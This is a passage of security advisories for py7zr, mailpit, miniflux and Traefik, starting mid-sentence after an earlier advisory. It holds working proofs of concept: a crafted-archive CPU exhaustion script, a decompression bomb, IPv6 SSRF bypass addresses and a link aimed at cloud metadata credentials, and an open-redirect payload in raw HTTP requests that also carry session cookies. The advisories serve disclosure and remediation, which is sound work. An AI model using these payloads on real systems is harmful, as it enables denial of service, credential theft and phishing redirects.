reproduce the original PoC against `/api/v1/responses`. ## Acknowledgements Thanks to the security researchers who responsibly disclosed this vulnerability: * @yzeirnials * @johnatzeropath * @LeftenantZero * @Zwique

CVE-2026-55206NONE

### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

CVE-2026-55195NONE

py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

CVE-2026-55187MEDIUM5.8

## Summary The remediation shipped in mailpit v1.29.2 for [GHSA-mpf7-p9x7-96r3](https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3) (CVE-2026-27808) is incomplete. The `tools.IsInternalIP` deny-list relies on Go's stdlib classification helpers (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, `IsLinkLocalMulticast`, `IsUnspecified`, `IsMulticast`) plus an inline CGNAT range, but those helpers do **not** match two classes of IPv6 address that should be blocked for SSRF purposes: 1. **IPv6 forms that embed an IPv4 destination via documented translation mechanisms** — 6to4, NAT64, IPv4-compatible IPv6, ISATAP, or (in older Go versions) IPv4-mapped IPv6. These let an attacker reach internal IPv4 destinations by supplying an IPv6 literal that encodes the desired IPv4. 2. **IPv6 prefixes that fall outside the narrow private/loopback/link-local ranges Go's stdlib classifies** — specifically the deprecated site-local prefix `fec0::/10` (RFC 3879/4291) and the documentation prefix `2001:db8::/32` (RFC 3849). The first is still routable on dual-stack hosts and is cited as a bypass form in [CVE-2026-44430](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/); the second should never appear in real network traffic and is safe to block as fail-safe behavior. Together these gaps let the Link Check API be coerced into dialing internal destinations that the v1.29.2 fix was intended to block. This is the same bug class as [GHSA-56c3-vfp2-5qqj / CVE-2026-44430 (MCP Registry)](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/) and [GHSA-86m8-88fq-xfxp / CVE-2026-45741 (Gotenberg)](https://advisories.gitlab.com/golang/github.com/gotenberg/gotenberg/v8/CVE-2026-45741/) — projects that, like mailpit, built their SSRF deny-list around Go's stdlib `Is*` family and discovered the resulting bypass post-disclosure. The underlying ecosystem-wide issue is tracked upstream at [**golang/go#79925**](https://github.com/golang/go/issues/79925), which proposes extending `net.IP.IsPrivate` to handle these IPv6 transition forms. Until that lands, every Go project that wants comprehensive SSRF protection has to implement the decoding itself — which is exactly the gap that produced this advisory and the three CVEs in adjacent projects cited above. ## Affected versions - mailpit `v1.29.2` and later HEAD — the GHSA-mpf7-p9x7-96r3 fix is in place but [`tools.IsInternalIP`](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) does not cover the IPv6 forms enumerated below. - Pre-`v1.29.2` versions remain vulnerable to the original advisory. ## Vulnerable code [`internal/tools/net.go` L25-L34](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) — `IsInternalIP`: ```go func IsInternalIP(ip net.IP) bool { return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast() || cgnatRange.Contains(ip) } ``` [`internal/linkcheck/status.go` L140-L163](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/linkcheck/status.go#L140-L163) — `safeDialContext` calls `IsInternalIP` on resolved IPs before dialing, but only blocks when one of the seven predicates above fires. For each of the following bypass forms, `net.IP.IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, `IsLinkLocalMulticast`, `IsUnspecified`, `IsMulticast`, and the CGNAT range check all return `false` — so the dial proceeds: **IPv4-embedded-in-IPv6 forms** (each carries an IPv4 destination via a documented translation prefix): | Bypass IPv6 literal | Decoded IPv4 destination | RFC | |---|---|---| | `64:ff9b::a9fe:a9fe` | `169.254.169.254` (AWS / GCP / Azure metadata) | RFC 6052 — NAT64 well-known prefix | | `64:ff9b:1::a9fe:a9fe` | `169.254.169.254` | RFC 8215 — NAT64 local-use | | `2002:a9fe:a9fe::` | `169.254.169.254` | RFC 3056 — 6to4 | | `::a9fe:a9fe` | `169.254.169.254` | RFC 4291 §2.5.5.1 — IPv4-compatible IPv6 | | `64:ff9b::7f00:1` | `127.0.0.1` | RFC 6052 (loopback via NAT64) | | `2002:0a00:0001::` | `10.0.0.1` | RFC 3056 (RFC 1918 via 6to4) | | `<any-prefix>:5efe:<ipv4>` | `<ipv4>` (e.g. `2001:db8::5efe:7f00:1` → `127.0.0.1`) | RFC 5214 — ISATAP | **Direct IPv6 prefixes not classified by the stdlib `Is*` family:** | Bypass IPv6 literal | What it is | RFC | |---|---|---| | `fec0::1` (any address in `fec0::/10`) | Deprecated site-local — still routable on dual-stack hosts | RFC 3879 (deprecation) / RFC 4291 §2.5.7 | | `2001:db8::1` (any address in `2001:db8::/32`) | Documentation prefix — should never appear on the wire | RFC 3849 | `IsInternalIP` returns `false` for every entry in both tables. The original advisory's stated mitigations *do* hold against the embedded-IPv4 forms in the narrow case where the IPv6 literal is `::ffff:<ipv4>` (IPv4-mapped), because Go's `net.IP.To4()` normalizes that form and the stdlib `Is*` methods then check the embedded IPv4. This was the partial fix shipped in [Go 1.22.4 / CVE-2024-24790](https://pkg.go.dev/vuln/GO-2024-2887). But it does not extend to 6to4, NAT64, IPv4-compatible, or ISATAP forms — those require explicit decoding that neither Go's stdlib nor `IsInternalIP` performs. The direct prefixes (`fec0::/10`, `2001:db8::/32`) likewise are simply outside the scope of any Go stdlib `Is*` method. ## Proof of Concept The repro depends on environment-specific routing for the embedded IPv4 destination. The forms below all *pass* the `safeDialContext` check on a stock mailpit v1.29.2 — they will not be blocked by the SSRF deny-list. Whether they connect successfully depends on whether the host's network has NAT64 / 6to4 routing to reach the embedded IPv4. ### Unit-test repro (no network dependency) The most defensible PoC is a unit test against `IsInternalIP` itself — it demonstrates the deny-list gap directly without depending on the test environment routing the bypass IPs: ```go // internal/tools/net_ssrf_test.go package tools import ( "net" "testing" ) func TestIsInternalIP_UncoveredIPv6Forms(t *testing.T) { cases := map[string]net.IP{ // IPv4-embedded-in-IPv6 forms. "NAT64 well-known wrapping AWS IMDS (RFC 6052)": net.ParseIP("64:ff9b::a9fe:a9fe"), "NAT64 local-use wrapping AWS IMDS (RFC 8215)": net.ParseIP("64:ff9b:1::a9fe:a9fe"), "6to4 wrapping AWS IMDS (RFC 3056)": net.ParseIP("2002:a9fe:a9fe::"), "IPv4-compatible IPv6 wrapping AWS IMDS (RFC 4291)": net.ParseIP("::a9fe:a9fe"), "NAT64 wrapping loopback (RFC 6052)": net.ParseIP("64:ff9b::7f00:1"), "6to4 wrapping RFC 1918 (RFC 3056)": net.ParseIP("2002:0a00:0001::"), "ISATAP wrapping AWS IMDS (RFC 5214)": net.ParseIP("2001:db8::5efe:a9fe:a9fe"), // Direct IPv6 prefixes outside the stdlib Is* family. "Deprecated site-local fec0::/10 (RFC 3879/4291)": net.ParseIP("fec0::1"), "Documentation prefix 2001:db8::/32 (RFC 3849)": net.ParseIP("2001:db8::1"), } for name, ip := range cases { t.Run(name, func(t *testing.T) { if !IsInternalIP(ip) { t.Errorf("IsInternalIP(%s) = false — SSRF deny-list bypass", ip) } }) } } ``` Run with: ``` go test ./internal/tools/ -run TestIsInternalIP_UncoveredIPv6Forms ``` On v1.29.2 every subtest fails. Each failure is a documented bypass. ### End-to-end repro In an environment where the embedded IPv4 destination is reachable (e.g. a host whose network provides NAT64 to RFC 1918 / link-local): 1. Send a crafted email to mailpit's SMTP listener containing an `<a href>` with a bypass URL: ```html <a href="http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/">link</a> ``` 2. `POST /api/v1/message/{ID}/link-check`. 3. Observe the `doHead` HTTP HEAD response status — non-zero status (success or specific error) confirms the dial reached the destination rather than being blocked by `IsInternalIP`. In environments without NAT64 / 6to4 routing the connection will time out, but the absence of a `private/reserved address` blocked response confirms the deny-list bypass logically; the unit test above is the canonical PoC. ## Impact Identical scope and severity model to the original GHSA-mpf7-p9x7-96r3: - The link-check API is reachable in mailpit's default deploy without authentication (no `--ui-auth`, no `--smtp-auth` required). - An attacker who can deliver email to the mailpit SMTP listener (often unauthenticated in default config) and invoke the link-check API can probe internal services using any of the uncovered IPv6 forms above — either via the embedded-IPv4 mechanisms to reach IPv4 destinations like cloud metadata endpoints (`169.254.169.254`, `168.63.129.16`), or by addressing a routable IPv6 service via `fec0::/10` directly. - The status-code-and-error feedback exposed by the link-check API leaks reachability information per probe. - Damage ceiling is bounded by the mailpit response shape (status code, status text, `451 Blocked private/reserved address` sentinel) — no response body is exposed — but reachability + status-code mapping is sufficient for service discovery and for confirming cloud-metadata service identity. - **Scope note:** `tools.IsInternalIP` is also used by the screenshot-proxy and HTML-Check-API endpoints (per maintainer disclosure). The same deny-list bypass applies to dialer decisions in those paths, but they include additional checks that mute the impact. The Link Check API remains the most revealing because its response includes the HTTP status code from the dialed destination; the other two are less directly leaky. **Severity:** Moderate, mirroring the original advisory (CVSS 5.8). ## Suggested remediation The fix has two parts: 1. **For the IPv4-embedded-in-IPv6 forms:** decode the embedded IPv4 and re-check it. This is the same pattern [Python's `ipaddress.is_private` implemented in 3.13](https://docs.python.org/3/library/ipaddress.html), what [`code.dny.dev/ssrf`](https://pkg.go.dev/code.dny.dev/ssrf) (IANA Special Purpose Registry-driven, auto-synced) implements out-of-the-box, and the behavior change being proposed for Go's stdlib at [golang/go#79925](https://github.com/golang/go/issues/79925). 2. **For the direct IPv6 prefixes:** add them to the first range check alongside `cgnatRange.Contains`. Reference implementation (extends the existing helper, keeps the call-site contract identical): ```go // internal/tools/net.go package tools import ( "encoding/binary" "net" ) var ( cgnatRange = mustCIDR("100.64.0.0/10") // RFC 6598 deprecatedSiteLocal = mustCIDR("fec0::/10") // RFC 3879 / 4291 documentationPrefix = mustCIDR("2001:db8::/32") // RFC 3849 nat64WellKnown = mustCIDR("64:ff9b::/96") // RFC 6052 nat64LocalUse = mustCIDR("64:ff9b:1::/48") // RFC 8215 sixToFour = mustCIDR("2002::/16") // RFC 3056 teredo = mustCIDR("2001::/32") // RFC 4380 ipv4Compatible = mustCIDR("::/96") // RFC 4291 §2.5.5.1 ipv4Mapped = mustCIDR("::ffff:0:0/96") // RFC 4291 §2.5.5.2 ) func mustCIDR(s string) *net.IPNet { _, n, err := net.ParseCIDR(s) if err != nil { panic(err) } return n } // IsInternalIP reports whether ip should be blocked as a connection target. // Covers the stdlib Is* checks plus CGNAT, plus IPv6 forms outside the // stdlib's scope (deprecated site-local, documentation prefix, and the // IPv6 transition mechanisms whose embedded IPv4 is itself internal). func IsInternalIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast() || cgnatRange.Contains(ip) || deprecatedSiteLocal.Contains(ip) || documentationPrefix.Contains(ip) { return true } if embedded, ok := embeddedIPv4(ip); ok { return IsInternalIP(embedded) } return false } // embeddedIPv4 returns the IPv4 destination encoded in ip, if ip is an // IPv6 form documented to carry an embedded IPv4 destination. func embeddedIPv4(ip net.IP) (net.IP, bool) { // Skip IPv4 / IPv4-mapped IPv6 — covered by the stdlib Is* checks via To4. if ip.To4() != nil { return nil, false } ip16 := ip.To16() if ip16 == nil || len(ip16) != net.IPv6len { return nil, false } switch { case nat64WellKnown.Contains(ip16), nat64LocalUse.Contains(ip16), ipv4Compatible.Contains(ip16): // Last 32 bits are the embedded IPv4. return net.IPv4(ip16[12], ip16[13], ip16[14], ip16[15]).To4(), true case sixToFour.Contains(ip16): // Bits 16..47 are the embedded IPv4. return net.IPv4(ip16[2], ip16[3], ip16[4], ip16[5]).To4(), true case teredo.Contains(ip16): // Bits 96..127 are the embedded IPv4 XOR'd with 0xFFFFFFFF. x := binary.BigEndian.Uint32(ip16[12:16]) ^ 0xFFFFFFFF b := make([]byte, 4) binary.BigEndian.PutUint32(b, x) return net.IPv4(b[0], b[1], b[2], b[3]).To4(), true case ip16[10] == 0x5e && ip16[11] == 0xfe: // ISATAP (RFC 5214) — interface identifier ends with :5efe:<ipv4>. // Match structurally on bytes 10-11; the /64 prefix is not fixed. // Must run after the fixed-prefix cases above (Teredo can legitimately // have 5efe in bytes 10-11; its embedding takes precedence). return net.IPv4(ip16[12], ip16[13], ip16[14], ip16[15]).To4(), true } return nil, false } ``` This covers every bypass in the two tables above. The direct-prefix additions (`deprecatedSiteLocal`, `documentationPrefix`) are two lines in the first if-block; the embedded-IPv4 decoder is the substantive new function. **Alternative — adopt a comprehensive library:** Replace the hand-rolled deny-list with [`code.dny.dev/ssrf`](https://pkg.go.dev/code.dny.dev/ssrf), which generates its IPv4 and IPv6 prefix lists from the IANA Special Purpose Registries via a bi-monthly auto-sync. This protects against future RFCs adding new transition forms without requiring further mailpit maintenance. ## References - Original advisory: [GHSA-mpf7-p9x7-96r3 / CVE-2026-27808](https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3) - Vulnerable function: [`internal/tools/net.go#L25-L34` — `IsInternalIP`](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) - Caller: [`internal/linkcheck/status.go#L140-L163` — `safeDialContext`](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/linkcheck/status.go#L140-L163) - Upstream Go-stdlib issue tracking the root cause: [**golang/go#79925**](https://github.com/golang/go/issues/79925) — proposal to extend `net.IP.IsPrivate` semantics and improve documentation - Related: same bypass class in other Go projects — [GHSA-56c3-vfp2-5qqj / CVE-2026-44430](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/), [GHSA-86m8-88fq-xfxp / CVE-2026-45741](https://advisories.gitlab.com/golang/github.com/gotenberg/gotenberg/v8/CVE-2026-45741/) - Go stdlib design context: [Damien Neil's comment](https://github.com/golang/go/issues/76067#issuecomment-3506705688) ("`IsPrivate` was a mistake. Just about every use of it that I've seen seems to misuse it.") - Python stdlib reference: [`ipaddress.is_private` 3.13 docs](https://docs.python.org/3/library/ipaddress.html) — covers 6to4, NAT64 explicitly - Comprehensive Go library: [`code.dny.dev/ssrf`](https://pkg.go.dev/code.dny.dev/ssrf) — IANA-registry-driven - RFCs: 3056 (6to4), 4380 (Teredo), 6052 (NAT64), 8215 (NAT64 local-use), 4291 (IPv6 addressing including IPv4-mapped/compatible), 5214 (ISATAP), 3879 (site-local deprecation), 3849 (documentation prefix)

CVE-2026-55185NONE

### Summary The URL restrictions in `miniflux-v2` can be bypassed by attackers, leading to an open redirect vulnerability. ### Details Normally, the redirect URL needs to be validated using `IsRelativePath`. <img width="1728" height="1386" alt="QQ20260526-175356-26-1" src="https://github.com/user-attachments/assets/b481845a-8744-41f7-b27a-526c7ac92e03" /> There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like `//fushuling.com`. However, these measures can still be bypassed. <img width="1911" height="804" alt="QQ20260526-175836-26-2" src="https://github.com/user-attachments/assets/90353c7f-7247-4453-a781-159361de13d6" /> For a proof-of-concept (PoC) like `/\fushuling.com`, it lacks host and netloc fields and doesn't start with `//`, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address `https://fushuling.com`, thus bypassing existing protections. For PoCs like `//fushuling.com`, the existing logic successfully detects and resolves to `/unread`, effectively preventing attacks. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45 Connection: close csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123 ``` <img width="1773" height="894" alt="QQ20260526-180410-26-3" src="https://github.com/user-attachments/assets/19e532ad-e366-4eb8-a08e-7b1de02edc7b" /> However, when the attacker specified the redirect URL as `/\fushuling.com`, the URL successfully bypassed the detection and set the location to /\fushuling.com. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5 Connection: close csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123 ``` <img width="1629" height="887" alt="QQ20260526-180606-26-4" src="https://github.com/user-attachments/assets/efe78aca-06ef-4369-83b7-0d7119ac2546" /> In the actual browser redirection, the URL successfully redirected to `https://fushuling.com`, thus bypassing the restrictions and achieving an open redirect attack. <img width="1082" height="621" alt="QQ20260526-180711-26-5" src="https://github.com/user-attachments/assets/0b486f09-8a9b-4d38-8350-d7ca5c51c253" /> ### PoC ``` /\fushuling.com ``` ### Impact Open Redirect

CVE-2026-54762NONE

## Summary There is a medium severity vulnerability in Traefik's Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported `nginx.ingress.kubernetes.io/auth-type` and `auth-secret` annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency — a missing, malformed, unreadable, or policy-denied Secret — rather than an intentionally unprotected route. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.5 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary Traefik's Kubernetes Ingress NGINX provider can fail open for routes that explicitly configure BasicAuth or DigestAuth through supported ingress-nginx annotations. When an Ingress contains `nginx.ingress.kubernetes.io/auth-type: basic` or `digest`, but the referenced `nginx.ingress.kubernetes.io/auth-secret` cannot be resolved or parsed, Traefik logs the auth resolution error, skips installing the BasicAuth/DigestAuth middleware, and still emits a router to the backend service. This can expose a route that operators intended to protect. The issue is not that an invalid Secret exists; the issue is that an explicitly auth-protected Ingress location is translated into a live backend route where the authentication control is removed from the generated data-plane configuration, with only a controller log entry, instead of failing closed. Tested affected versions: - Current `master`: `29406d42898547f1ffabd904f66af06c212740cf` - Latest tag tested by me: `v3.7.1` / `fa49e2bcad7ffd8a80accdf1fae1ae480913d93d` The KubernetesIngressNGINX provider is documented as no longer experimental as of v3.6.2, and the `auth-type`, `auth-secret`, `auth-secret-type`, and `auth-realm` annotations are documented supported annotations. ### Details The root cause is in `pkg/provider/kubernetes/ingress-nginx/build.go`. During provider translation, auth is pre-resolved for each location: ```go if ing.config.AuthType != nil { basic, digest, err := p.resolveBasicAuth(ing.Namespace, ing.config) if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") } else { loc.BasicAuth = basic loc.DigestAuth = digest } } ``` The error is logged, but `loc.Error` is not set. Later, `pkg/provider/kubernetes/ingress-nginx/translator.go` only routes to `unavailable-service` when `loc.Error` is true. Since this auth error leaves `loc.Error` false, the generated router continues to use the real backend service, and `applyMiddlewares` has no BasicAuth/DigestAuth middleware to attach. This differs from nearby fail-closed behavior for comparable provider translation failures: - `auth-tls-secret` resolution failure skips the affected ingress. - `custom-headers` ConfigMap resolution failure sets `loc.Error = true`, causing the translator to avoid normal backend exposure. Security invariant: > If an Ingress location explicitly configures BasicAuth/DigestAuth, Traefik should not forward that location to the backend unless the corresponding auth middleware is installed. Reasonable fail-closed behaviors would include omitting the router, routing it to `unavailable-service`, returning 503, or attaching a deny-all middleware until the auth dependency is valid. ### Expected behavior An Ingress location with explicit `auth-type: basic` or `auth-type: digest` must not forward requests to the backend unless the generated Traefik router has the corresponding BasicAuth/DigestAuth middleware attached. If the referenced auth Secret is missing, malformed, unreadable, denied by namespace policy, or otherwise unusable, Traefik should fail closed for that location. ### Actual behavior When `auth-secret` resolution fails, Traefik still creates a router to the backend service and only omits the BasicAuth/DigestAuth middleware. The only indication is a controller log entry: ```text Cannot resolve auth secret, skipping auth middleware ``` ### PoC I reproduced this with a clean fake Kubernetes provider state. The reproduction does not use Docker provider labels, dashboard/API routing, lab backends, or public network targets. Minimal Kubernetes objects: - `IngressClass` named `nginx` with controller `k8s.io/ingress-nginx` - `Service` named `whoami` in namespace `default` - `EndpointSlice` for the `whoami` service - `Ingress` with `ingressClassName: nginx`, a backend pointing to `whoami`, and these annotations: ```yaml nginx.ingress.kubernetes.io/auth-type: "basic" nginx.ingress.kubernetes.io/auth-secret-type: "auth-file" nginx.ingress.kubernetes.io/auth-secret: "default/missing-basic-auth" ``` The referenced Secret intentionally does not exist. The expected secure behavior is fail-closed for this auth-configured route. The observed behavior is a normal router to the backend without BasicAuth/DigestAuth. Key failing assertion from the regression harness: ```text router forwards to backend service without BasicAuth/DigestAuth when auth-secret is missing; middlewares=[default-auth-missing-secret-rule-0-path-0-retry] service="default-auth-missing-secret-whoami-80" ``` The same behavior reproduces on both current `master` and `v3.7.1`. I also tested a matrix of auth-secret resolution failures. In each error case, Traefik still emitted the backend router without BasicAuth/DigestAuth: - missing `auth-secret` - omitted/empty `auth-secret` - invalid `auth-secret-type` - `auth-file` Secret missing the required `auth` key - empty `auth-map` Secret - missing DigestAuth Secret - cross-namespace `auth-secret` denied by default policy The same matrix includes a positive control where a valid `auth-file` Secret correctly attaches BasicAuth, confirming that the harness is exercising the intended provider path. I also performed a clean-room revalidation from fresh `git archive` source trees for both source/master and v3.7.1. Only the two minimal test harnesses were copied into each archived source tree. This avoided contamination from lab compose files, Docker provider state, dashboard/API routes, prior source-tree test files, or running lab backends. ### Threat model This does not require an attacker to modify Traefik static configuration or Traefik process state. The relevant security boundary is the Kubernetes-declared route policy: an Ingress explicitly declares BasicAuth/DigestAuth, but Traefik publishes the data-plane route without that control when the auth dependency is invalid. In multi-tenant or GitOps-managed clusters, the actor or automation that can affect Secret existence, Secret contents, namespace policy, or deployment ordering is not necessarily the same actor that owns the protected backend or Traefik deployment. As a result, a mistake, rollback, pruning job, policy change, or compromise limited to Kubernetes application resources can remove the effective auth boundary while the Ingress continues to declare that auth is required. ### Impact This is a fail-open authentication control issue leading to unintended unauthenticated route exposure. The trigger is an invalid or unresolved auth dependency, but the security consequence is a data-plane route that violates explicit auth intent. This is materially different from intentionally deploying an unprotected route: the Ingress declares `auth-type: basic` or `digest`, yet Traefik publishes the backend without the corresponding auth middleware. Realistic scenarios include: - GitOps, Helm, or CI/CD deploys Ingress and Secret resources separately. Ordering issues, rollbacks, pruning, or typos can leave the Ingress active while the auth Secret is absent or unreadable. - Kubernetes RBAC commonly separates ownership of Ingress objects, Secrets, and namespace policies. A lower-privileged namespace actor or deployment automation may be able to affect the referenced Secret or cross-namespace reference outcome without having direct access to Traefik static configuration. - During ingress-nginx migration, operators reasonably expect supported `nginx.ingress.kubernetes.io/auth-*` annotations to preserve the authentication boundary. Publishing the backend without auth is a worse failure mode than rejecting the invalid location. - A transient Secret deletion, malformed Secret update, or policy change can turn an already protected route into an unprotected route without changing the Ingress rule itself. 